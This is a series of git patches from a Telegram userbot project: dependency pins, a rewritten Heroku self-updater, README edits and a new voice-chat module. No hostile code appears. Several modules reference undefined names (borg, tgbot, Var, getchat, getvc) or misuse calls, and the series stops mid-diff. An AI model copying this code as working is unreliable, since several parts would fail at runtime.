b/requirements.txt index 807c967d..2daf83b3 100644 --- a/requirements.txt +++ b/requirements.txt @@ -41,7 +41,7 @@ lxml patool lyricsgenius oauth2client -psycopg2-binary +psycopg2-binary==2.8.6 PyLyrics pySmartDL pybase64>=0.4.0 @@ -56,7 +56,7 @@ requests search-engine-parser>=0.4.2 selenium speedtest-cli>=2.0.2 -sqlalchemy>=1.2 +sqlalchemy==1.3.20 telegraph tswift urbandict>=0.5 From 4b4a5126a0df610d3a830b7bdcfcd564a13f10ee Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 3 Apr 2021 14:10:51 +0530 Subject: [PATCH 821/838] Delete AN INFINITY_BOTS PROJECT --- AN INFINITY_BOTS PROJECT | 1 - 1 file changed, 1 deletion(-) delete mode 100644 AN INFINITY_BOTS PROJECT diff --git a/AN INFINITY_BOTS PROJECT b/AN INFINITY_BOTS PROJECT deleted file mode 100644 index bb65f837..00000000 --- a/AN INFINITY_BOTS PROJECT +++ /dev/null @@ -1 +0,0 @@ -t.me/Infinity_bots From 209f92d4b8f7af747f15d08823dafa629bf3116b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 3 Apr 2021 14:53:09 +0530 Subject: [PATCH 822/838] Update updater.py --- virtualuserbot/modules/updater.py | 329 ++++++++++++------------------ 1 file changed, 126 insertions(+), 203 deletions(-) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index ffe6b22d..bdb8c2a7 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -1,226 +1,149 @@ -# Copyright (C) 2019 The Raphielscape Company LLC. -# -# Licensed under the Raphielscape Public License, Version 1.c (the "License"); -# you may not use this file except in compliance with the License. -# credits to @AvinashReddy3108 -# -""" -This module updates the userbot based on upstream revision -""" - import asyncio +import os import sys -from os import environ, execle, path, remove +import git from git import Repo from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError - -from var import Var -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd - -UPSTREAM_REPO_URL = Config.UPSTREAM_REPO -UPSTREAM_REPO_BRANCH = "master" -HEROKU_APP_NAME = Var.HEROKU_APP_NAME -HEROKU_API_KEY = Var.HEROKU_API_KEY -requirements_path = path.join( - path.dirname(path.dirname(path.dirname(__file__))), "requirements.txt" +from virtualuserbot.config import Config +from ..utils import lightning_cmd + +# -- Constants -- # +IS_SELECTED_DIFFERENT_BRANCH = ( + "looks like a custom branch {branch_name} " + "is being used:\n" + "in this case, Updater is unable to identify the branch to be updated." + "please check out to an official branch, and re-start the updater." ) +OFFICIAL_UPSTREAM_REPO = Config.UPSTREAM_REPO +BOT_IS_UP_TO_DATE = "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +NEW_BOT_UP_DATE_FOUND = ( + "New Update Found For {branch_name}\n" + "ChangeLog: \n\n{changelog}\n" + "UPdate Your bot ..." +) +NEW_UP_DATE_FOUND = ( + "Alert! New UPdate here @ {branch_name}\n" "`UPdating your UserBoT...`" +) +REPO_REMOTE_NAME = "temponame" +IFFUCI_ACTIVE_BRANCH_NAME = "master" +DIFF_MARKER = "HEAD..{remote_name}/{branch_name}" +NO_HEROKU_APP_CFGD = "no heroku application found, but a key given? 😕 " +HEROKU_GIT_REF_SPEC = "HEAD:refs/heads/master" +RESTARTING_APP = "`Re-starting heroku application`" +# -- Constants End -- # + +@borg.on(lightning_cmd("update", outgoing=True)) +async def updater(message): + try: + repo = git.Repo() + except git.exc.InvalidGitRepositoryError as e: + repo = git.Repo.init() + origin = repo.create_remote(REPO_REMOTE_NAME, OFFICIAL_UPSTREAM_REPO) + origin.fetch() + repo.create_head(IFFUCI_ACTIVE_BRANCH_NAME, origin.refs.master) + repo.heads.master.checkout(True) + active_branch_name = repo.active_branch.name + if active_branch_name != IFFUCI_ACTIVE_BRANCH_NAME: + await message.edit( + IS_SELECTED_DIFFERENT_BRANCH.format(branch_name=active_branch_name) + ) + return False -async def gen_chlog(repo, diff): - ch_log = "**ChangeLog** \n\n" - for c in repo.iter_commits(diff): - ch_log += f"🔨 **#{c.count()} :** [{c.summary}]({UPSTREAM_REPO_URL}/commit/{c}) 👷 __{c.author}__\n" - return ch_log - + try: + repo.create_remote(REPO_REMOTE_NAME, OFFICIAL_UPSTREAM_REPO) + except Exception as e: + print(e) -async def print_changelogs(event, ac_br, changelog): - changelog_str = f"**Updates available in {ac_br} branch!\n\n{changelog}" - if len(changelog_str) > 4096: - await event.edit("**Changelog is too big, sending as a file.**") - file = open("output.txt", "w+") - file.write(changelog_str) - file.close() - await event.client.send_file(event.chat_id, "output.txt") - remove("output.txt") - else: - await event.client.send_message( - event.chat_id, changelog_str, link_preview=False - ) - return True + temp_upstream_remote = repo.remote(REPO_REMOTE_NAME) + temp_upstream_remote.fetch(active_branch_name) + changelog = generate_change_log( + repo, + DIFF_MARKER.format( + remote_name=REPO_REMOTE_NAME, branch_name=active_branch_name + ), + ) -async def update_requirements(): - reqs = str(requirements_path) - try: - process = await asyncio.create_subprocess_shell( - " ".join([sys.executable, "-m", "pip", "install", "-r", reqs]), - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, + if not changelog: + await message.edit("`No Update AvaiLAbLe if still you want to check just restart bot`") + return + if message.text[8:] != "now": + message_one = NEW_BOT_UP_DATE_FOUND.format( + branch_name=active_branch_name, changelog=changelog ) - await process.communicate() - return process.returncode - except Exception as e: - return repr(e) + message_two = NEW_UP_DATE_FOUND.format(branch_name=active_branch_name) + if len(message_one) > 4095: + with open("change.log", "w+", encoding="utf8") as out_file: + out_file.write(str(message_one)) + await tgbot.send_message( + message.chat_id, document="change.log", caption=message_two + ) + os.remove("change.log") + else: + await message.edit(message_one) + await message.respond(f'Do `.update now` to update userbot') + return + temp_upstream_remote.fetch(active_branch_name) + repo.git.reset("--hard", "FETCH_HEAD") -async def deploy(event, repo, ups_rem, ac_br, txt): - if HEROKU_API_KEY is not None: + if Var.HEROKU_API_KEY is not None: import heroku3 - heroku = heroku3.from_key(HEROKU_API_KEY) - heroku_app = None + heroku = heroku3.from_key(Var.HEROKU_API_KEY) heroku_applications = heroku.apps() - if HEROKU_APP_NAME is None: - await event.edit( - "**Please set up the** `HEROKU_APP_NAME` **variable" - " to be able to deploy your userbot.**" - ) - repo.__del__() - return - for app in heroku_applications: - if app.name == HEROKU_APP_NAME: - heroku_app = app - break - if heroku_app is None: - await event.edit( - f"{txt}\n" "**Invalid Heroku credentials for deploying userbot dyno.**" - ) - return repo.__del__() - ups_rem.fetch(ac_br) - repo.git.reset("--hard", "FETCH_HEAD") - heroku_git_url = heroku_app.git_url.replace( - "https://", "https://api:" + HEROKU_API_KEY + "@" - ) - if "heroku" in repo.remotes: - remote = repo.remote("heroku") - remote.set_url(heroku_git_url) - else: - remote = repo.create_remote("heroku", heroku_git_url) - try: - remote.push(refspec="HEAD:refs/heads/master", force=True) - except Exception as error: - await event.edit(f"{txt}\nHere is the error log:\n`{error}`") - return repo.__del__() - build = app.builds(order_by="created_at", sort="desc")[0] - if build.status == "failed": - await event.edit("**Build failed!**\nCancelled or there were some errors.`") - await asyncio.sleep(5) - return await event.delete() + if len(heroku_applications) >= 1: + if Var.HEROKU_APP_NAME is not None: + heroku_app = None + for i in heroku_applications: + if i.name == Var.HEROKU_APP_NAME: + heroku_app = i + if heroku_app is None: + await message.edit( + "Invalid APP Name. Please set the name of your bot in heroku in the var `HEROKU_APP_NAME.`" + ) + return + heroku_git_url = heroku_app.git_url.replace( + "https://", "https://api:" + Var.HEROKU_API_KEY + "@" + ) + if "heroku" in repo.remotes: + remote = repo.remote("heroku") + remote.set_url(heroku_git_url) + else: + remote = repo.create_remote("heroku", heroku_git_url) + asyncio.get_event_loop().create_task( + deploy_start(tgbot, message, HEROKU_GIT_REF_SPEC, remote) + ) + + else: + await message.edit( + "Please create the var `HEROKU_APP_NAME` as the key and the name of your bot in heroku as your value." + ) + return else: - await event.edit( - "**Successfully updated!**\nBot is restarting, will be back up in a few seconds." - ) + await message.edit(NO_HEROKU_APP_CFGD) else: - await event.edit("**Please set up** `HEROKU_API_KEY` **variable.**") - return - - -async def update(event, repo, ups_rem, ac_br): - try: - ups_rem.pull(ac_br) - except GitCommandError: - repo.git.reset("--hard", "FETCH_HEAD") - await update_requirements() - await event.edit( - "**Soft Update Sucessfull, Please Wait For Some Time To Get This Process Completed.**" - ) - # Spin a new instance of bot - args = [sys.executable, "-m", "virtualuserbot"] - execle(sys.executable, *args, environ) - return - - -@friday.on(friday_on_cmd(pattern=r"update( now| deploy|$)")) -async def upstream(event): - "For .update command, check if the bot is up to date, update if specified" - await event.edit("**Checking for updates, please wait...**") - conf = event.pattern_match.group(1).strip() - off_repo = UPSTREAM_REPO_URL - force_update = False - try: - txt = "**Oops.. Updater cannot continue due to " - txt += "some problems**\n`LOGTRACE:`\n" - repo = Repo() - except NoSuchPathError as error: - await event.edit(f"{txt}\n**Directory** `{error}` **was not found.**") - return repo.__del__() - except GitCommandError as error: - await event.edit(f"{txt}\n**Early failure!** `{error}`") - return repo.__del__() - except InvalidGitRepositoryError as error: - if conf is None: - return await event.edit( - f"**Unfortunately, the directory {error} " - "does not seem to be a git repository.\n" - "But we can fix that by force updating the userbot using **" - "`.update now.`" - ) - repo = Repo.init() - origin = repo.create_remote("upstream", off_repo) - origin.fetch() - force_update = True - repo.create_head("master", origin.refs.master) - repo.heads.master.set_tracking_branch(origin.refs.master) - repo.heads.master.checkout(True) + await message.edit("No heroku api key found in `HEROKU_API_KEY` var") - ac_br = repo.active_branch.name - if ac_br != UPSTREAM_REPO_BRANCH: - await event.edit( - f"**Looks like you are using your own custom branch: ({ac_br}). \n" - "Please switch to** `master` **branch.**" - ) - return repo.__del__() - try: - repo.create_remote("upstream", off_repo) - except BaseException: - pass - - ups_rem = repo.remote("upstream") - ups_rem.fetch(ac_br) - - changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}") - """ - Special case for deploy - """ - if conf == "deploy": - await event.edit( - "**Perfoming a Power Update, Please Wait. It Usually Takes 5 min.**" - ) - await deploy(event, repo, ups_rem, ac_br, txt) - return - if changelog == "" and not force_update: - await event.edit( - f"**Your userbot is up-to-date with `{UPSTREAM_REPO_BRANCH}`!**" - ) - return repo.__del__() +def generate_change_log(git_repo, diff_marker): + out_put_str = "" + d_form = "%d/%m/%y" + for repo_change in git_repo.iter_commits(diff_marker): + out_put_str += f"•[{repo_change.committed_datetime.strftime(d_form)}]: {repo_change.summary} <{repo_change.author}>\n" + return out_put_str - if conf == "" and force_update is False: - await print_changelogs(event, ac_br, changelog) - await event.delete() - return await event.respond( - "**Do** `.update now` **or** `.update deploy` **to update.**" - ) - - if force_update: - await event.edit( - "**Force-syncing to latest stable userbot code, please wait...**" - ) - if conf == "now": - await event.edit("**Perfoming a quick update, please wait...**") - await update(event, repo, ups_rem, ac_br) - return - - -CMD_HELP.update( - { - "update": ">`.update`" - "\nUsage: Checks if the main userbot repository has any updates " - "and shows a changelog if so." - "\n\n>`.update now`" - "\nUsage: Performs a quick update." - "\n\n>`.update deploy`" - "\nUsage: Performs a full update (recommended)." - } -) +async def deploy_start(tgbot, message, refspec, remote): + await asyncio.sleep(2) + await message.edit("Almost Done....") + await message.edit(RESTARTING_APP) + await asyncio.sleep(2) + await message.edit( + "**UpdatinG Your ubot sir!!!\nPlease WaiT FoR 5-10 mins, modules are loading after that type `.alive` to check if I am On**🤗😅" + ) + await remote.push(refspec=refspec) + await tgbot.disconnect() + os.execl(sys.executable, sys.executable, *sys.argv) From aa7be43cfc7fdb9c7479120a495e74694c371d15 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 3 Apr 2021 09:23:50 +0000 Subject: [PATCH 823/838] pylint: auto fixes --- virtualuserbot/modules/updater.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index bdb8c2a7..966a206c 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -3,9 +3,9 @@ import sys import git -from git import Repo -from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError + from virtualuserbot.config import Config + from ..utils import lightning_cmd # -- Constants -- # @@ -16,7 +16,9 @@ "please check out to an official branch, and re-start the updater." ) OFFICIAL_UPSTREAM_REPO = Config.UPSTREAM_REPO -BOT_IS_UP_TO_DATE = "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +BOT_IS_UP_TO_DATE = ( + "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +) NEW_BOT_UP_DATE_FOUND = ( "New Update Found For {branch_name}\n" "ChangeLog: \n\n{changelog}\n" @@ -33,6 +35,7 @@ RESTARTING_APP = "`Re-starting heroku application`" # -- Constants End -- # + @borg.on(lightning_cmd("update", outgoing=True)) async def updater(message): try: @@ -67,7 +70,9 @@ async def updater(message): ) if not changelog: - await message.edit("`No Update AvaiLAbLe if still you want to check just restart bot`") + await message.edit( + "`No Update AvaiLAbLe if still you want to check just restart bot`" + ) return if message.text[8:] != "now": message_one = NEW_BOT_UP_DATE_FOUND.format( @@ -84,7 +89,7 @@ async def updater(message): os.remove("change.log") else: await message.edit(message_one) - await message.respond(f'Do `.update now` to update userbot') + await message.respond(f"Do `.update now` to update userbot") return temp_upstream_remote.fetch(active_branch_name) repo.git.reset("--hard", "FETCH_HEAD") From c3b65c21d9ce350bb803518e0598eae3390d008d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 3 Apr 2021 14:54:00 +0530 Subject: [PATCH 824/838] Create updater.py --- virtualuserbot/modules/updater.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 966a206c..6528f93d 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -3,10 +3,10 @@ import sys import git - +from git import Repo +from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError from virtualuserbot.config import Config - -from ..utils import lightning_cmd +from ..utils import friday_on_cmd as lightning_cmd # -- Constants -- # IS_SELECTED_DIFFERENT_BRANCH = ( @@ -16,9 +16,7 @@ "please check out to an official branch, and re-start the updater." ) OFFICIAL_UPSTREAM_REPO = Config.UPSTREAM_REPO -BOT_IS_UP_TO_DATE = ( - "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." -) +BOT_IS_UP_TO_DATE = "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." NEW_BOT_UP_DATE_FOUND = ( "New Update Found For {branch_name}\n" "ChangeLog: \n\n{changelog}\n" @@ -35,7 +33,6 @@ RESTARTING_APP = "`Re-starting heroku application`" # -- Constants End -- # - @borg.on(lightning_cmd("update", outgoing=True)) async def updater(message): try: @@ -70,9 +67,7 @@ async def updater(message): ) if not changelog: - await message.edit( - "`No Update AvaiLAbLe if still you want to check just restart bot`" - ) + await message.edit("`No Update AvaiLAbLe if still you want to check just restart bot`") return if message.text[8:] != "now": message_one = NEW_BOT_UP_DATE_FOUND.format( @@ -89,7 +84,7 @@ async def updater(message): os.remove("change.log") else: await message.edit(message_one) - await message.respond(f"Do `.update now` to update userbot") + await message.respond(f'Do `.update now` to update userbot') return temp_upstream_remote.fetch(active_branch_name) repo.git.reset("--hard", "FETCH_HEAD") From 843562d8659000400825f3a2866ac67023d12da3 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 3 Apr 2021 09:24:41 +0000 Subject: [PATCH 825/838] pylint: auto fixes --- virtualuserbot/modules/updater.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 6528f93d..8e27ec36 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -3,9 +3,9 @@ import sys import git -from git import Repo -from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError + from virtualuserbot.config import Config + from ..utils import friday_on_cmd as lightning_cmd # -- Constants -- # @@ -16,7 +16,9 @@ "please check out to an official branch, and re-start the updater." ) OFFICIAL_UPSTREAM_REPO = Config.UPSTREAM_REPO -BOT_IS_UP_TO_DATE = "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +BOT_IS_UP_TO_DATE = ( + "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +) NEW_BOT_UP_DATE_FOUND = ( "New Update Found For {branch_name}\n" "ChangeLog: \n\n{changelog}\n" @@ -33,6 +35,7 @@ RESTARTING_APP = "`Re-starting heroku application`" # -- Constants End -- # + @borg.on(lightning_cmd("update", outgoing=True)) async def updater(message): try: @@ -67,7 +70,9 @@ async def updater(message): ) if not changelog: - await message.edit("`No Update AvaiLAbLe if still you want to check just restart bot`") + await message.edit( + "`No Update AvaiLAbLe if still you want to check just restart bot`" + ) return if message.text[8:] != "now": message_one = NEW_BOT_UP_DATE_FOUND.format( @@ -84,7 +89,7 @@ async def updater(message): os.remove("change.log") else: await message.edit(message_one) - await message.respond(f'Do `.update now` to update userbot') + await message.respond(f"Do `.update now` to update userbot") return temp_upstream_remote.fetch(active_branch_name) repo.git.reset("--hard", "FETCH_HEAD") From 6ba3cc09f982d1e900992945eb7c1ca674a000af Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 3 Apr 2021 14:54:50 +0530 Subject: [PATCH 826/838] Update Configs.py --- virtualuserbot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/Configs.py b/virtualuserbot/Configs.py index 66a54fd7..e6a75a6e 100644 --- a/virtualuserbot/Configs.py +++ b/virtualuserbot/Configs.py @@ -162,7 +162,7 @@ class Config(object): GPLINKS_API_KEY = os.environ.get("GPLINKS_API_KEY", None) OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( - "UPSTREAM_REPO", "https://github.com/DevsExpo/FridayUserbot" + "UPSTREAM_REPO", "https://github.com/inukaasith/virtualuserbot" ) ALIVE_IMAGE = os.environ.get( "ALIVE_IMAGE", "https://telegra.ph/file/4e1364fb18f899ad47dec.png" From 1582e75d2d17df95b3d3b84cacf302d2354cd7c0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 5 Apr 2021 10:44:29 +0530 Subject: [PATCH 827/838] Update updater.py --- virtualuserbot/modules/updater.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 8e27ec36..ba06adf3 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -4,7 +4,7 @@ import git -from virtualuserbot.config import Config +from virtualuserbot.Configs import Config from ..utils import friday_on_cmd as lightning_cmd From f777f7d5cd553b36f716b97a60fb36036a3eb84f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 5 Apr 2021 11:48:14 +0530 Subject: [PATCH 828/838] HEROKU OPTIMIZED --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f1c29144..d0336668 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) -## HEROKU ERROR FIXED. BTW UNMAINTAINED +## HEROKU ERROR FIXED. HEROKU OPTIMIZED # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot) on 28/01/2021.. Full credits to Friday Developers From ac16ff6f8ebb137e8e6ecafbac675bfd8fcf149c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 5 Apr 2021 12:25:01 +0530 Subject: [PATCH 829/838] Update README.md --- README.md | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index d0336668..1289a2d0 100644 --- a/README.md +++ b/README.md @@ -13,29 +13,26 @@

    -### Here is the Telegram VirtualUserbot. A Remodified version of Friday Userbot for Sri Lanka. Credits To Thier Owners.. +### BASED ON FRIDAY v7. IT IS RECOMMENDED TO USE FRIDAY USERBOT INSTEAD OF THIS [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) -## HEROKU ERROR FIXED. HEROKU OPTIMIZED +## HEROKU ERROR FIXED. BTW USE FRIDAY INSTEAD # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot) on 28/01/2021.. Full credits to Friday Developers #### Special thanks To Friday Bot And Dark Cobra Bot a lot ##### ♡ Friday is the best userbot ♡ ~ This is just a remodification.. Original work was done by them -## The story beyond (☆ Information about original owners ☆) -● This bot was initially cloned and modified by us for suit our requirements. -Then many Sri Lankans asked for the source code of this bot. -That's why we made this code as a independent one. + -● Most of the plugins in this was kanged from FridayUserbot and many others.. +● Most of the plugins in this are developed FridayUserbot and many others.. So, all respect and credits goes to them ● Also original owners of modules mentioned at the top of every module. ``` Full credits mentioned at the bottom``` -◇ If you are not from Sri Lanka I recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots +◇ It is recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots # From 77895e07a46d47b6b922355ab6d4e948d6b9da36 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 5 Apr 2021 12:26:51 +0530 Subject: [PATCH 830/838] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1289a2d0..d7f9a68c 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,10 @@

    -### BASED ON FRIDAY v7. IT IS RECOMMENDED TO USE FRIDAY USERBOT INSTEAD OF THIS +### BASED ON FRIDAY v7. + +### FRIDAY USERBOT v8 AVAILABLE BY NOW. A POWERFUL AND SECURE USERBOT BUILD FROM SCRATCH +### github.com/devsexpo/fridayuserbot [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) From 0a5166725089466419db05fee0deee4e6c0aa45b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 5 Apr 2021 12:27:22 +0530 Subject: [PATCH 831/838] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d7f9a68c..5c40d9b1 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,8 @@ ### BASED ON FRIDAY v7. -### FRIDAY USERBOT v8 AVAILABLE BY NOW. A POWERFUL AND SECURE USERBOT BUILD FROM SCRATCH -### github.com/devsexpo/fridayuserbot +### BTW FRIDAY USERBOT v8 AVAILABLE BY NOW. A POWERFUL AND SECURE USERBOT BUILD FROM SCRATCH +### https://github.com/devsexpo/fridayuserbot [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) From 9dfff22236356d6de22949544a443055795a9a54 Mon Sep 17 00:00:00 2001 From: Janindu Malshan <75658442+ImJanindu@users.noreply.github.com> Date: Wed, 7 Apr 2021 00:32:54 +0530 Subject: [PATCH 832/838] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 5c40d9b1..86fcff9a 100644 --- a/README.md +++ b/README.md @@ -5,9 +5,9 @@

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ... Remodied Friday for Sri Lanka ...

    - Commit - Stars - Fork + Commit + Stars + Fork

    From a811f69e6c8b52d80f47e75dd2e5de5d26966810 Mon Sep 17 00:00:00 2001 From: Janindu Malshan <75658442+ImJanindu@users.noreply.github.com> Date: Wed, 7 Apr 2021 00:33:56 +0530 Subject: [PATCH 833/838] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 86fcff9a..c14a17c8 100644 --- a/README.md +++ b/README.md @@ -5,9 +5,9 @@

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ... Remodied Friday for Sri Lanka ...

    - Commit - Stars - Fork + Commit + Stars + Fork

    From 64aba103103f5e6578bf2e691885b2ea61de037b Mon Sep 17 00:00:00 2001 From: Janindu Malshan <75658442+ImJanindu@users.noreply.github.com> Date: Thu, 8 Apr 2021 09:11:02 +0530 Subject: [PATCH 834/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 2daf83b3..099c56c9 100644 --- a/requirements.txt +++ b/requirements.txt @@ -16,6 +16,7 @@ telethon iplookup wget numpy +pytest pyshorteners aiohttp bs4 From fee2093532cbcfd6dc4c0f58a2e22f9c19a3dba7 Mon Sep 17 00:00:00 2001 From: Janindu Malshan <75658442+ImJanindu@users.noreply.github.com> Date: Fri, 9 Apr 2021 13:05:20 +0530 Subject: [PATCH 835/838] Update WhatsNew.py --- virtualuserbot/modules/WhatsNew.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/WhatsNew.py b/virtualuserbot/modules/WhatsNew.py index 6e7d88ed..2b5c7197 100644 --- a/virtualuserbot/modules/WhatsNew.py +++ b/virtualuserbot/modules/WhatsNew.py @@ -17,7 +17,7 @@ ** New qbot ** `.qbot` to create quotes - ** Plus More ** + ** Plus More Features ** PM Protection done right. Translation also done right ** Many Bug Fixes ** From 463d5e05ebc646674699b6e35e4043aa8c7ba45d Mon Sep 17 00:00:00 2001 From: Janindu Malshan <75658442+ImJanindu@users.noreply.github.com> Date: Sun, 9 May 2021 07:42:46 +0530 Subject: [PATCH 836/838] Create vc.py --- virtualuserbot/modules/vc.py | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 virtualuserbot/modules/vc.py diff --git a/virtualuserbot/modules/vc.py b/virtualuserbot/modules/vc.py new file mode 100644 index 00000000..6b400cc8 --- /dev/null +++ b/virtualuserbot/modules/vc.py @@ -0,0 +1,33 @@ +from telethon.tl.functions.phone import CreateGroupCallRequest as startvc +from telethon.tl.functions.phone import DiscardGroupCallRequest as stopvc +from telethon.tl.functions.phone import InviteToGroupCallRequest as invitetovc + +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register + + +async def get_call(event): + mm = await event.client(getchat(event.chat_id)) + xx = await event.client(getvc(mm.full_chat.call)) + return xx.call + + +def user_list(l, n): + for i in range(0, len(l), n): + yield l[i : i + n] + +@register(outgoing=True, pattern=r"^\.joinvc (.*)") +async def _(event): + try: + await event.client(startvc(await get_call(event))) + await event.edit(event, "`Voice Chat Started...`") + except Exception as ex: + await event.edit(event, f"`{str(ex)}`") + +@register(outgoing=True, pattern=r"^\.stopvc (.*)") +async def _(event): + try: + await event.client(stopvc(await get_call(event))) + await event.edit(event, "`Voice Chat Stopped...`") + except Exception as ex: + await event.edit(event, f"`{str(ex)}`") From cd2f83cbe5639139975af3b52b7db90c025d20b6 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sun, 9 May 2021 02:13:29 +0000 Subject: [PATCH 837/838] pylint: auto fixes --- virtualuserbot/events.py | 2 +- virtualuserbot/function/__init__.py | 4 +- virtualuserbot/modules/admin.py | 22 +++--- virtualuserbot/modules/android.py | 10 +-- virtualuserbot/modules/assistant/adminbot.py | 2 +- virtualuserbot/modules/carbon.py | 2 +- virtualuserbot/modules/carbonRGB.py | 2 +- virtualuserbot/modules/cow.py | 2 +- virtualuserbot/modules/create.py | 2 +- virtualuserbot/modules/delfp.py | 2 +- virtualuserbot/modules/direct_links.py | 12 ++-- virtualuserbot/modules/google.py | 2 +- virtualuserbot/modules/gtools.py | 2 +- virtualuserbot/modules/hash.py | 4 +- virtualuserbot/modules/lastfm.py | 2 +- virtualuserbot/modules/listmyusernames.py | 2 +- virtualuserbot/modules/mediadata.py | 2 +- virtualuserbot/modules/memes.py | 68 +++++++++---------- virtualuserbot/modules/misc.py | 4 +- virtualuserbot/modules/owm.py | 6 +- virtualuserbot/modules/purge.py | 10 +-- virtualuserbot/modules/reverse.py | 2 +- virtualuserbot/modules/reverseimg.py | 2 +- virtualuserbot/modules/selfdestruct.py | 2 +- .../modules/sql_helper/botusers_sql.py | 6 +- virtualuserbot/modules/upload_dl.py | 4 +- virtualuserbot/modules/userinfo.py | 6 +- virtualuserbot/modules/userlist.py | 2 +- virtualuserbot/modules/vc.py | 6 +- virtualuserbot/modules/warns.py | 2 +- virtualuserbot/modules/whois.py | 8 +-- virtualuserbot/modules/ytdl.py | 2 +- virtualuserbot/utils.py | 2 +- 33 files changed, 104 insertions(+), 104 deletions(-) diff --git a/virtualuserbot/events.py b/virtualuserbot/events.py index 584e5d0d..2d15b33d 100644 --- a/virtualuserbot/events.py +++ b/virtualuserbot/events.py @@ -19,7 +19,7 @@ def register(**args): - """ Register a new event. """ + """Register a new event.""" pattern = args.get("pattern", None) disable_edited = args.get("disable_edited", False) ignore_unsafe = args.get("ignore_unsafe", False) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 9ae21cbe..3268a65a 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -98,7 +98,7 @@ def get_readable_time(secs: float) -> str: # Thanks To Userge-X async def runcmd(cmd: str) -> Tuple[str, str, int, int]: - """ run command in terminal """ + """run command in terminal""" args = shlex.split(cmd) process = await asyncio.create_subprocess_exec( *args, stdout=asyncio.subprocess.PIPE, 